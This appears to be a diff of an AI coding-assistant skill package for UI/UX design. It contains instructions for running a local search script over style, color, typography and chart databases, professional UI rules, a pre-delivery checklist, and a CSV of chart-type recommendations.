| `style` | UI styles, colors, effects | glassmorphism, minimalism, dark mode, brutalism |
|
||||
| `typography` | Font pairings, Google Fonts | elegant, playful, professional, modern |
|
||||
| `color` | Color palettes by product type | saas, ecommerce, healthcare, beauty, fintech, service |
|
||||
| `landing` | Page structure, CTA strategies | hero, hero-centric, testimonial, pricing, social-proof |
|
||||
| `chart` | Chart types, library recommendations | trend, comparison, timeline, funnel, pie |
|
||||
| `ux` | Best practices, anti-patterns | animation, accessibility, z-index, loading |
|
||||
| `prompt` | AI prompts, CSS keywords | (style name) |
|
||||
|
||||
### Available Stacks
|
||||
|
||||
| Stack | Focus |
|
||||
|-------|-------|
|
||||
| `html-tailwind` | Tailwind utilities, responsive, a11y (DEFAULT) |
|
||||
| `react` | State, hooks, performance, patterns |
|
||||
| `nextjs` | SSR, routing, images, API routes |
|
||||
| `vue` | Composition API, Pinia, Vue Router |
|
||||
| `svelte` | Runes, stores, SvelteKit |
|
||||
| `swiftui` | Views, State, Navigation, Animation |
|
||||
| `react-native` | Components, Navigation, Lists |
|
||||
| `flutter` | Widgets, State, Layout, Theming |
|
||||
|
||||
---
|
||||
|
||||
## Example Workflow
|
||||
|
||||
**User request:** "Làm landing page cho dịch vụ chăm sóc da chuyên nghiệp"
|
||||
|
||||
**AI should:**
|
||||
|
||||
```bash
|
||||
# 1. Search product type
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service" --domain product
|
||||
|
||||
# 2. Search style (based on industry: beauty, elegant)
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant minimal soft" --domain style
|
||||
|
||||
# 3. Search typography
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant luxury" --domain typography
|
||||
|
||||
# 4. Search color palette
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness" --domain color
|
||||
|
||||
# 5. Search landing page structure
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "hero-centric social-proof" --domain landing
|
||||
|
||||
# 6. Search UX guidelines
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "animation" --domain ux
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "accessibility" --domain ux
|
||||
|
||||
# 7. Search stack guidelines (default: html-tailwind)
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "layout responsive" --stack html-tailwind
|
||||
```
|
||||
|
||||
**Then:** Synthesize all search results and implement the design.
|
||||
|
||||
---
|
||||
|
||||
## Tips for Better Results
|
||||
|
||||
1. **Be specific with keywords** - "healthcare SaaS dashboard" > "app"
|
||||
2. **Search multiple times** - Different keywords reveal different insights
|
||||
3. **Combine domains** - Style + Typography + Color = Complete design system
|
||||
4. **Always check UX** - Search "animation", "z-index", "accessibility" for common issues
|
||||
5. **Use stack flag** - Get implementation-specific best practices
|
||||
6. **Iterate** - If first search doesn't match, try different keywords
|
||||
|
||||
---
|
||||
|
||||
## Common Rules for Professional UI
|
||||
|
||||
These are frequently overlooked issues that make UI look unprofessional:
|
||||
|
||||
### Icons & Visual Elements
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **No emoji icons** | Use SVG icons (Heroicons, Lucide, Simple Icons) | Use emojis like 🎨 🚀 ⚙️ as UI icons |
|
||||
| **Stable hover states** | Use color/opacity transitions on hover | Use scale transforms that shift layout |
|
||||
| **Correct brand logos** | Research official SVG from Simple Icons | Guess or use incorrect logo paths |
|
||||
| **Consistent icon sizing** | Use fixed viewBox (24x24) with w-6 h-6 | Mix different icon sizes randomly |
|
||||
|
||||
### Interaction & Cursor
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Cursor pointer** | Add `cursor-pointer` to all clickable/hoverable cards | Leave default cursor on interactive elements |
|
||||
| **Hover feedback** | Provide visual feedback (color, shadow, border) | No indication element is interactive |
|
||||
| **Smooth transitions** | Use `transition-colors duration-200` | Instant state changes or too slow (>500ms) |
|
||||
|
||||
### Light/Dark Mode Contrast
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Glass card light mode** | Use `bg-white/80` or higher opacity | Use `bg-white/10` (too transparent) |
|
||||
| **Text contrast light** | Use `#0F172A` (slate-900) for text | Use `#94A3B8` (slate-400) for body text |
|
||||
| **Muted text light** | Use `#475569` (slate-600) minimum | Use gray-400 or lighter |
|
||||
| **Border visibility** | Use `border-gray-200` in light mode | Use `border-white/10` (invisible) |
|
||||
|
||||
### Layout & Spacing
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Floating navbar** | Add `top-4 left-4 right-4` spacing | Stick navbar to `top-0 left-0 right-0` |
|
||||
| **Content padding** | Account for fixed navbar height | Let content hide behind fixed elements |
|
||||
| **Consistent max-width** | Use same `max-w-6xl` or `max-w-7xl` | Mix different container widths |
|
||||
|
||||
---
|
||||
|
||||
## Pre-Delivery Checklist
|
||||
|
||||
Before delivering UI code, verify these items:
|
||||
|
||||
### Visual Quality
|
||||
- [ ] No emojis used as icons (use SVG instead)
|
||||
- [ ] All icons from consistent icon set (Heroicons/Lucide)
|
||||
- [ ] Brand logos are correct (verified from Simple Icons)
|
||||
- [ ] Hover states don't cause layout shift
|
||||
- [ ] Use theme colors directly (bg-primary) not var() wrapper
|
||||
|
||||
### Interaction
|
||||
- [ ] All clickable elements have `cursor-pointer`
|
||||
- [ ] Hover states provide clear visual feedback
|
||||
- [ ] Transitions are smooth (150-300ms)
|
||||
- [ ] Focus states visible for keyboard navigation
|
||||
|
||||
### Light/Dark Mode
|
||||
- [ ] Light mode text has sufficient contrast (4.5:1 minimum)
|
||||
- [ ] Glass/transparent elements visible in light mode
|
||||
- [ ] Borders visible in both modes
|
||||
- [ ] Test both modes before delivery
|
||||
|
||||
### Layout
|
||||
- [ ] Floating elements have proper spacing from edges
|
||||
- [ ] No content hidden behind fixed navbars
|
||||
- [ ] Responsive at 320px, 768px, 1024px, 1440px
|
||||
- [ ] No horizontal scroll on mobile
|
||||
|
||||
### Accessibility
|
||||
- [ ] All images have alt text
|
||||
- [ ] Form inputs have labels
|
||||
- [ ] Color is not the only indicator
|
||||
- [ ] `prefers-reduced-motion` respected
|
||||
---
|
||||
name: ui-ux-pro-max
|
||||
description: "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples."
|
||||
---
|
||||
|
||||
# UI/UX Pro Max - Design Intelligence
|
||||
|
||||
Comprehensive design guide for web and mobile applications. Contains 50+ styles, 97 color palettes, 57 font pairings, 99 UX guidelines, and 25 chart types across 9 technology stacks. Searchable database with priority-based recommendations.
|
||||
|
||||
## When to Apply
|
||||
|
||||
Reference these guidelines when:
|
||||
- Designing new UI components or pages
|
||||
- Choosing color palettes and typography
|
||||
- Reviewing code for UX issues
|
||||
- Building landing pages or dashboards
|
||||
- Implementing accessibility requirements
|
||||
|
||||
## Rule Categories by Priority
|
||||
|
||||
| Priority | Category | Impact | Domain |
|
||||
|----------|----------|--------|--------|
|
||||
| 1 | Accessibility | CRITICAL | `ux` |
|
||||
| 2 | Touch & Interaction | CRITICAL | `ux` |
|
||||
| 3 | Performance | HIGH | `ux` |
|
||||
| 4 | Layout & Responsive | HIGH | `ux` |
|
||||
| 5 | Typography & Color | MEDIUM | `typography`, `color` |
|
||||
| 6 | Animation | MEDIUM | `ux` |
|
||||
| 7 | Style Selection | MEDIUM | `style`, `product` |
|
||||
| 8 | Charts & Data | LOW | `chart` |
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### 1. Accessibility (CRITICAL)
|
||||
|
||||
- `color-contrast` - Minimum 4.5:1 ratio for normal text
|
||||
- `focus-states` - Visible focus rings on interactive elements
|
||||
- `alt-text` - Descriptive alt text for meaningful images
|
||||
- `aria-labels` - aria-label for icon-only buttons
|
||||
- `keyboard-nav` - Tab order matches visual order
|
||||
- `form-labels` - Use label with for attribute
|
||||
|
||||
### 2. Touch & Interaction (CRITICAL)
|
||||
|
||||
- `touch-target-size` - Minimum 44x44px touch targets
|
||||
- `hover-vs-tap` - Use click/tap for primary interactions
|
||||
- `loading-buttons` - Disable button during async operations
|
||||
- `error-feedback` - Clear error messages near problem
|
||||
- `cursor-pointer` - Add cursor-pointer to clickable elements
|
||||
|
||||
### 3. Performance (HIGH)
|
||||
|
||||
- `image-optimization` - Use WebP, srcset, lazy loading
|
||||
- `reduced-motion` - Check prefers-reduced-motion
|
||||
- `content-jumping` - Reserve space for async content
|
||||
|
||||
### 4. Layout & Responsive (HIGH)
|
||||
|
||||
- `viewport-meta` - width=device-width initial-scale=1
|
||||
- `readable-font-size` - Minimum 16px body text on mobile
|
||||
- `horizontal-scroll` - Ensure content fits viewport width
|
||||
- `z-index-management` - Define z-index scale (10, 20, 30, 50)
|
||||
|
||||
### 5. Typography & Color (MEDIUM)
|
||||
|
||||
- `line-height` - Use 1.5-1.75 for body text
|
||||
- `line-length` - Limit to 65-75 characters per line
|
||||
- `font-pairing` - Match heading/body font personalities
|
||||
|
||||
### 6. Animation (MEDIUM)
|
||||
|
||||
- `duration-timing` - Use 150-300ms for micro-interactions
|
||||
- `transform-performance` - Use transform/opacity, not width/height
|
||||
- `loading-states` - Skeleton screens or spinners
|
||||
|
||||
### 7. Style Selection (MEDIUM)
|
||||
|
||||
- `style-match` - Match style to product type
|
||||
- `consistency` - Use same style across all pages
|
||||
- `no-emoji-icons` - Use SVG icons, not emojis
|
||||
|
||||
### 8. Charts & Data (LOW)
|
||||
|
||||
- `chart-type` - Match chart type to data type
|
||||
- `color-guidance` - Use accessible color palettes
|
||||
- `data-table` - Provide table alternative for accessibility
|
||||
|
||||
## How to Use
|
||||
|
||||
Search specific domains using the CLI tool below.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Check if Python is installed:
|
||||
|
||||
```bash
|
||||
python3 --version || python --version
|
||||
```
|
||||
|
||||
If Python is not installed, install it based on user's OS:
|
||||
|
||||
**macOS:**
|
||||
```bash
|
||||
brew install python3
|
||||
```
|
||||
|
||||
**Ubuntu/Debian:**
|
||||
```bash
|
||||
sudo apt update && sudo apt install python3
|
||||
```
|
||||
|
||||
**Windows:**
|
||||
```powershell
|
||||
winget install Python.Python.3.12
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## How to Use This Skill
|
||||
|
||||
When user requests UI/UX work (design, build, create, implement, review, fix, improve), follow this workflow:
|
||||
|
||||
### Step 1: Analyze User Requirements
|
||||
|
||||
Extract key information from user request:
|
||||
- **Product type**: SaaS, e-commerce, portfolio, dashboard, landing page, etc.
|
||||
- **Style keywords**: minimal, playful, professional, elegant, dark mode, etc.
|
||||
- **Industry**: healthcare, fintech, gaming, education, etc.
|
||||
- **Stack**: React, Vue, Next.js, or default to `html-tailwind`
|
||||
|
||||
### Step 2: Generate Design System (REQUIRED)
|
||||
|
||||
**Always start with `--design-system`** to get comprehensive recommendations with reasoning:
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<product_type> <industry> <keywords>" --design-system [-p "Project Name"]
|
||||
```
|
||||
|
||||
This command:
|
||||
1. Searches 5 domains in parallel (product, style, color, landing, typography)
|
||||
2. Applies reasoning rules from `ui-reasoning.csv` to select best matches
|
||||
3. Returns complete design system: pattern, style, colors, typography, effects
|
||||
4. Includes anti-patterns to avoid
|
||||
|
||||
**Example:**
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service" --design-system -p "Serenity Spa"
|
||||
```
|
||||
|
||||
### Step 3: Supplement with Detailed Searches (as needed)
|
||||
|
||||
After getting the design system, use domain searches to get additional details:
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --domain <domain> [-n <max_results>]
|
||||
```
|
||||
|
||||
**When to use detailed searches:**
|
||||
|
||||
| Need | Domain | Example |
|
||||
|------|--------|---------|
|
||||
| More style options | `style` | `--domain style "glassmorphism dark"` |
|
||||
| Chart recommendations | `chart` | `--domain chart "real-time dashboard"` |
|
||||
| UX best practices | `ux` | `--domain ux "animation accessibility"` |
|
||||
| Alternative fonts | `typography` | `--domain typography "elegant luxury"` |
|
||||
| Landing structure | `landing` | `--domain landing "hero social-proof"` |
|
||||
|
||||
### Step 4: Stack Guidelines (Default: html-tailwind)
|
||||
|
||||
Get implementation-specific best practices. If user doesn't specify a stack, **default to `html-tailwind`**.
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --stack html-tailwind
|
||||
```
|
||||
|
||||
Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`, `react-native`, `flutter`, `shadcn`
|
||||
|
||||
---
|
||||
|
||||
## Search Reference
|
||||
|
||||
### Available Domains
|
||||
|
||||
| Domain | Use For | Example Keywords |
|
||||
|--------|---------|------------------|
|
||||
| `product` | Product type recommendations | SaaS, e-commerce, portfolio, healthcare, beauty, service |
|
||||
| `style` | UI styles, colors, effects | glassmorphism, minimalism, dark mode, brutalism |
|
||||
| `typography` | Font pairings, Google Fonts | elegant, playful, professional, modern |
|
||||
| `color` | Color palettes by product type | saas, ecommerce, healthcare, beauty, fintech, service |
|
||||
| `landing` | Page structure, CTA strategies | hero, hero-centric, testimonial, pricing, social-proof |
|
||||
| `chart` | Chart types, library recommendations | trend, comparison, timeline, funnel, pie |
|
||||
| `ux` | Best practices, anti-patterns | animation, accessibility, z-index, loading |
|
||||
| `react` | React/Next.js performance | waterfall, bundle, suspense, memo, rerender, cache |
|
||||
| `web` | Web interface guidelines | aria, focus, keyboard, semantic, virtualize |
|
||||
| `prompt` | AI prompts, CSS keywords | (style name) |
|
||||
|
||||
### Available Stacks
|
||||
|
||||
| Stack | Focus |
|
||||
|-------|-------|
|
||||
| `html-tailwind` | Tailwind utilities, responsive, a11y (DEFAULT) |
|
||||
| `react` | State, hooks, performance, patterns |
|
||||
| `nextjs` | SSR, routing, images, API routes |
|
||||
| `vue` | Composition API, Pinia, Vue Router |
|
||||
| `svelte` | Runes, stores, SvelteKit |
|
||||
| `swiftui` | Views, State, Navigation, Animation |
|
||||
| `react-native` | Components, Navigation, Lists |
|
||||
| `flutter` | Widgets, State, Layout, Theming |
|
||||
| `shadcn` | shadcn/ui components, theming, forms, patterns |
|
||||
|
||||
---
|
||||
|
||||
## Example Workflow
|
||||
|
||||
**User request:** "Làm landing page cho dịch vụ chăm sóc da chuyên nghiệp"
|
||||
|
||||
### Step 1: Analyze Requirements
|
||||
- Product type: Beauty/Spa service
|
||||
- Style keywords: elegant, professional, soft
|
||||
- Industry: Beauty/Wellness
|
||||
- Stack: html-tailwind (default)
|
||||
|
||||
### Step 2: Generate Design System (REQUIRED)
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service elegant" --design-system -p "Serenity Spa"
|
||||
```
|
||||
|
||||
**Output:** Complete design system with pattern, style, colors, typography, effects, and anti-patterns.
|
||||
|
||||
### Step 3: Supplement with Detailed Searches (as needed)
|
||||
|
||||
```bash
|
||||
# Get UX guidelines for animation and accessibility
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "animation accessibility" --domain ux
|
||||
|
||||
# Get alternative typography options if needed
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant luxury serif" --domain typography
|
||||
```
|
||||
|
||||
### Step 4: Stack Guidelines
|
||||
|
||||
```bash
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "layout responsive form" --stack html-tailwind
|
||||
```
|
||||
|
||||
**Then:** Synthesize design system + detailed searches and implement the design.
|
||||
|
||||
---
|
||||
|
||||
## Output Formats
|
||||
|
||||
The `--design-system` flag supports two output formats:
|
||||
|
||||
```bash
|
||||
# ASCII box (default) - best for terminal display
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "fintech crypto" --design-system
|
||||
|
||||
# Markdown - best for documentation
|
||||
python3 .claude/skills/ui-ux-pro-max/scripts/search.py "fintech crypto" --design-system -f markdown
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tips for Better Results
|
||||
|
||||
1. **Be specific with keywords** - "healthcare SaaS dashboard" > "app"
|
||||
2. **Search multiple times** - Different keywords reveal different insights
|
||||
3. **Combine domains** - Style + Typography + Color = Complete design system
|
||||
4. **Always check UX** - Search "animation", "z-index", "accessibility" for common issues
|
||||
5. **Use stack flag** - Get implementation-specific best practices
|
||||
6. **Iterate** - If first search doesn't match, try different keywords
|
||||
|
||||
---
|
||||
|
||||
## Common Rules for Professional UI
|
||||
|
||||
These are frequently overlooked issues that make UI look unprofessional:
|
||||
|
||||
### Icons & Visual Elements
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **No emoji icons** | Use SVG icons (Heroicons, Lucide, Simple Icons) | Use emojis like 🎨 🚀 ⚙️ as UI icons |
|
||||
| **Stable hover states** | Use color/opacity transitions on hover | Use scale transforms that shift layout |
|
||||
| **Correct brand logos** | Research official SVG from Simple Icons | Guess or use incorrect logo paths |
|
||||
| **Consistent icon sizing** | Use fixed viewBox (24x24) with w-6 h-6 | Mix different icon sizes randomly |
|
||||
|
||||
### Interaction & Cursor
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Cursor pointer** | Add `cursor-pointer` to all clickable/hoverable cards | Leave default cursor on interactive elements |
|
||||
| **Hover feedback** | Provide visual feedback (color, shadow, border) | No indication element is interactive |
|
||||
| **Smooth transitions** | Use `transition-colors duration-200` | Instant state changes or too slow (>500ms) |
|
||||
|
||||
### Light/Dark Mode Contrast
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Glass card light mode** | Use `bg-white/80` or higher opacity | Use `bg-white/10` (too transparent) |
|
||||
| **Text contrast light** | Use `#0F172A` (slate-900) for text | Use `#94A3B8` (slate-400) for body text |
|
||||
| **Muted text light** | Use `#475569` (slate-600) minimum | Use gray-400 or lighter |
|
||||
| **Border visibility** | Use `border-gray-200` in light mode | Use `border-white/10` (invisible) |
|
||||
|
||||
### Layout & Spacing
|
||||
|
||||
| Rule | Do | Don't |
|
||||
|------|----|----- |
|
||||
| **Floating navbar** | Add `top-4 left-4 right-4` spacing | Stick navbar to `top-0 left-0 right-0` |
|
||||
| **Content padding** | Account for fixed navbar height | Let content hide behind fixed elements |
|
||||
| **Consistent max-width** | Use same `max-w-6xl` or `max-w-7xl` | Mix different container widths |
|
||||
|
||||
---
|
||||
|
||||
## Pre-Delivery Checklist
|
||||
|
||||
Before delivering UI code, verify these items:
|
||||
|
||||
### Visual Quality
|
||||
- [ ] No emojis used as icons (use SVG instead)
|
||||
- [ ] All icons from consistent icon set (Heroicons/Lucide)
|
||||
- [ ] Brand logos are correct (verified from Simple Icons)
|
||||
- [ ] Hover states don't cause layout shift
|
||||
- [ ] Use theme colors directly (bg-primary) not var() wrapper
|
||||
|
||||
### Interaction
|
||||
- [ ] All clickable elements have `cursor-pointer`
|
||||
- [ ] Hover states provide clear visual feedback
|
||||
- [ ] Transitions are smooth (150-300ms)
|
||||
- [ ] Focus states visible for keyboard navigation
|
||||
|
||||
### Light/Dark Mode
|
||||
- [ ] Light mode text has sufficient contrast (4.5:1 minimum)
|
||||
- [ ] Glass/transparent elements visible in light mode
|
||||
- [ ] Borders visible in both modes
|
||||
- [ ] Test both modes before delivery
|
||||
|
||||
### Layout
|
||||
- [ ] Floating elements have proper spacing from edges
|
||||
- [ ] No content hidden behind fixed navbars
|
||||
- [ ] Responsive at 375px, 768px, 1024px, 1440px
|
||||
- [ ] No horizontal scroll on mobile
|
||||
|
||||
### Accessibility
|
||||
- [ ] All images have alt text
|
||||
- [ ] Form inputs have labels
|
||||
- [ ] Color is not the only indicator
|
||||
- [ ] `prefers-reduced-motion` respected
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
No,Data Type,Keywords,Best Chart Type,Secondary Options,Color Guidance,Performance Impact,Accessibility Notes,Library Recommendation,Interactive Level
|
||||
1,Trend Over Time,"trend, time-series, line, growth, timeline, progress",Line Chart,"Area Chart, Smooth Area",Primary: #0080FF. Multiple series: use distinct colors. Fill: 20% opacity,⚡ Excellent (optimized),✓ Clear line patterns for colorblind users. Add pattern overlays.,"Chart.js, Recharts, ApexCharts",Hover + Zoom
|
||||
2,Compare Categories,"compare, categories, bar, comparison, ranking",Bar Chart (Horizontal or Vertical),"Column Chart, Grouped Bar",Each bar: distinct color. Category: grouped same color. Sorted: descending order,⚡ Excellent,✓ Easy to compare. Add value labels on bars for clarity.,"Chart.js, Recharts, D3.js",Hover + Sort
|
||||
3,Part-to-Whole,"part-to-whole, pie, donut, percentage, proportion, share",Pie Chart or Donut,"Stacked Bar, Treemap",Colors: 5-6 max. Contrasting palette. Large slices first. Use labels.,⚡ Good (limit 6 slices),⚠ Hard for accessibility. Better: Stacked bar with legend. Avoid pie if >5 items.,"Chart.js, Recharts, D3.js",Hover + Drill
|
||||
4,Correlation/Distribution,"correlation, distribution, scatter, relationship, pattern",Scatter Plot or Bubble Chart,"Heat Map, Matrix",Color axis: gradient (blue-red). Size: relative. Opacity: 0.6-0.8 to show density,⚠ Moderate (many points),⚠ Provide data table alternative. Use pattern + color distinction.,"D3.js, Plotly, Recharts",Hover + Brush
|
||||
5,Heatmap/Intensity,"heatmap, heat-map, intensity, density, matrix",Heat Map or Choropleth,"Grid Heat Map, Bubble Heat",Gradient: Cool (blue) to Hot (red). Scale: clear legend. Divergent for ±data,⚡ Excellent (color CSS),⚠ Colorblind: Use pattern overlay. Provide numerical legend.,"D3.js, Plotly, ApexCharts",Hover + Zoom
|
||||
6,Geographic Data,"geographic, map, location, region, geo, spatial","Choropleth Map, Bubble Map",Geographic Heat Map,Regional: single color gradient or categorized colors. Legend: clear scale,⚠ Moderate (rendering),⚠ Include text labels for regions. Provide data table alternative.,"D3.js, Mapbox, Leaflet",Pan + Zoom + Drill
|
||||
7,Funnel/Flow,funnel/flow,"Funnel Chart, Sankey",Waterfall (for flows),Stages: gradient (starting color → ending color). Show conversion %,⚡ Good,✓ Clear stage labels + percentages. Good for accessibility if labeled.,"D3.js, Recharts, Custom SVG",Hover + Drill
|
||||
8,Performance vs Target,performance-vs-target,Gauge Chart or Bullet Chart,"Dial, Thermometer",Performance: Red→Yellow→Green gradient. Target: marker line. Threshold colors,⚡ Good,✓ Add numerical value + percentage label beside gauge.,"D3.js, ApexCharts, Custom SVG",Hover
|
||||
9,Time-Series Forecast,time-series-forecast,Line with Confidence Band,Ribbon Chart,Actual: solid line #0080FF. Forecast: dashed #FF9500. Band: light shading,⚡ Good,✓ Clearly distinguish actual vs forecast. Add legend.,"Chart.js, ApexCharts, Plotly",Hover + Toggle
|
||||
10,Anomaly Detection,anomaly-detection,Line Chart with Highlights,Scatter with Alert,Normal: blue #0080FF. Anomaly: red #FF0000 circle/square marker + alert,⚡ Good,✓ Circle/marker for anomalies. Add text alert annotation.,"D3.js, Plotly, ApexCharts",Hover + Alert
|
||||
11,Hierarchical/Nested Data,hierarchical/nested-data,Treemap,"Sunburst, Nested Donut, Icicle",Parent: distinct hues. Children: lighter shades. White borders 2-3px.,⚠ Moderate,⚠ Poor - provide table alternative. Label large areas.,"D3.js, Recharts, ApexCharts",Hover + Drilldown
|
||||
12,Flow/Process Data,flow/process-data,Sankey Diagram,"Alluvial, Chord Diagram",Gradient from source to target. Opacity 0.4-0.6 for flows.,⚠ Moderate,⚠ Poor - provide flow table alternative.,"D3.js (d3-sankey), Plotly",Hover + Drilldown
|
||||
13,Cumulative Changes,cumulative-changes,Waterfall Chart,"Stacked Bar, Cascade",Increases: #4CAF50. Decreases: #F44336. Start: #2196F3. End: #0D47A1.,⚡ Good,✓ Good - clear directional colors with labels.,"ApexCharts, Highcharts, Plotly",Hover
|
||||
14,Multi-Variable Comparison,multi-variable-comparison,Radar/Spider Chart,"Parallel Coordinates, Grouped Bar",Single: #0080FF 20% fill. Multiple: distinct colors per dataset.,⚡ Good,⚠ Moderate - limit 5-8 axes. Add data table.,"Chart.js, Recharts, ApexCharts",Hover + Toggle
|
||||
15,Stock/Trading OHLC,stock/trading-ohlc,Candlestick Chart,"OHLC Bar, Heikin-Ashi",Bullish: #26A69A. Bearish: #EF5350. Volume: 40% opacity below.,⚡ Good,⚠ Moderate - provide OHLC data table.,"Lightweight Charts (TradingView), ApexCharts",Real-time + Hover + Zoom
|
||||
16,Relationship/Connection Data,relationship/connection-data,Network Graph,"Hierarchical Tree, Adjacency Matrix",Node types: categorical colors. Edges: #90A4AE 60% opacity.,❌ Poor (500+ nodes struggles),❌ Very Poor - provide adjacency list alternative.,"D3.js (d3-force), Vis.js, Cytoscape.js",Drilldown + Hover + Drag
|
||||
17,Distribution/Statistical,distribution/statistical,Box Plot,"Violin Plot, Beeswarm",Box: #BBDEFB. Border: #1976D2. Median: #D32F2F. Outliers: #F44336.,⚡ Excellent,"✓ Good - include stats table (min, Q1, median, Q3, max).","Plotly, D3.js, Chart.js (plugin)",Hover
|
||||
18,Performance vs Target (Compact),performance-vs-target-(compact),Bullet Chart,"Gauge, Progress Bar","Ranges: #FFCDD2, #FFF9C4, #C8E6C9. Performance: #1976D2. Target: black 3px.",⚡ Excellent,✓ Excellent - compact with clear values.,"D3.js, Plotly, Custom SVG",Hover
|
||||
19,Proportional/Percentage,proportional/percentage,Waffle Chart,"Pictogram, Stacked Bar 100%",10x10 grid. 3-5 categories max. 2-3px spacing between squares.,⚡ Good,✓ Good - better than pie for accessibility.,"D3.js, React-Waffle, Custom CSS Grid",Hover
|
||||
20,Hierarchical Proportional,hierarchical-proportional,Sunburst Chart,"Treemap, Icicle, Circle Packing",Center to outer: darker to lighter. 15-20% lighter per level.,⚠ Moderate,⚠ Poor - provide hierarchy table alternative.,"D3.js (d3-hierarchy), Recharts, ApexCharts",Drilldown + Hover
|
||||
21,Root Cause Analysis,"root cause, decomposition, tree, hierarchy, drill-down, ai-split",Decomposition Tree,"Decision Tree, Flow Chart",Nodes: #2563EB (Primary) vs #EF4444 (Negative impact). Connectors: Neutral grey.,⚠ Moderate (calculation heavy),✓ clear hierarchy. Allow keyboard navigation for nodes.,"Power BI (native), React-Flow, Custom D3.js",Drill + Expand
|
||||
22,3D Spatial Data,"3d, spatial, immersive, terrain, molecular, volumetric",3D Scatter/Surface Plot,"Volumetric Rendering, Point Cloud",Depth cues: lighting/shading. Z-axis: color gradient (cool to warm).,❌ Heavy (WebGL required),❌ Poor - requires alternative 2D view or data table.,"Three.js, Deck.gl, Plotly 3D",Rotate + Zoom + VR
|
||||
23,Real-Time Streaming,"streaming, real-time, ticker, live, velocity, pulse",Streaming Area Chart,"Ticker Tape, Moving Gauge",Current: Bright Pulse (#00FF00). History: Fading opacity. Grid: Dark.,⚡ Optimized (canvas/webgl),⚠ Flashing elements - provide pause button. High contrast.,Smoothed D3.js, CanvasJS, SciChart,Real-time + Pause
|
||||
24,Sentiment/Emotion,"sentiment, emotion, nlp, opinion, feeling",Word Cloud with Sentiment,"Sentiment Arc, Radar Chart",Positive: #22C55E. Negative: #EF4444. Neutral: #94A3B8. Size = Frequency.,⚡ Good,⚠ Word clouds poor for screen readers. Use list view.,"D3-cloud, Highcharts, Nivo",Hover + Filter
|
||||
No,Data Type,Keywords,Best Chart Type,Secondary Options,Color Guidance,Performance Impact,Accessibility Notes,Library Recommendation,Interactive Level
|
||||
1,Trend Over Time,"trend, time-series, line, growth, timeline, progress",Line Chart,"Area Chart, Smooth Area",Primary: #0080FF. Multiple series: use distinct colors. Fill: 20% opacity,⚡ Excellent (optimized),✓ Clear line patterns for colorblind users. Add pattern overlays.,"Chart.js, Recharts, ApexCharts",Hover + Zoom
|
||||
2,Compare Categories,"compare, categories, bar, comparison, ranking",Bar Chart (Horizontal or Vertical),"Column Chart, Grouped Bar",Each bar: distinct color. Category: grouped same color. Sorted: descending order,⚡ Excellent,✓ Easy to compare. Add value labels on bars for clarity.,"Chart.js, Recharts, D3.js",Hover + Sort
|
||||
3,Part-to-Whole,"part-to-whole, pie, donut, percentage, proportion, share",Pie Chart or Donut,"Stacked Bar, Treemap",Colors: 5-6 max. Contrasting palette. Large slices first. Use labels.,⚡ Good (limit 6 slices),⚠ Hard for accessibility. Better: Stacked bar with legend. Avoid pie if >5 items.,"Chart.js, Recharts, D3.js",Hover + Drill
|
||||
4,Correlation/Distribution,"correlation, distribution, scatter, relationship, pattern",Scatter Plot or Bubble Chart,"Heat Map, Matrix",Color axis: gradient (blue-red). Size: relative. Opacity: 0.6-0.8 to show density,⚠ Moderate (many points),⚠ Provide data table alternative. Use pattern + color distinction.,"D3.js, Plotly, Recharts",Hover + Brush
|
||||
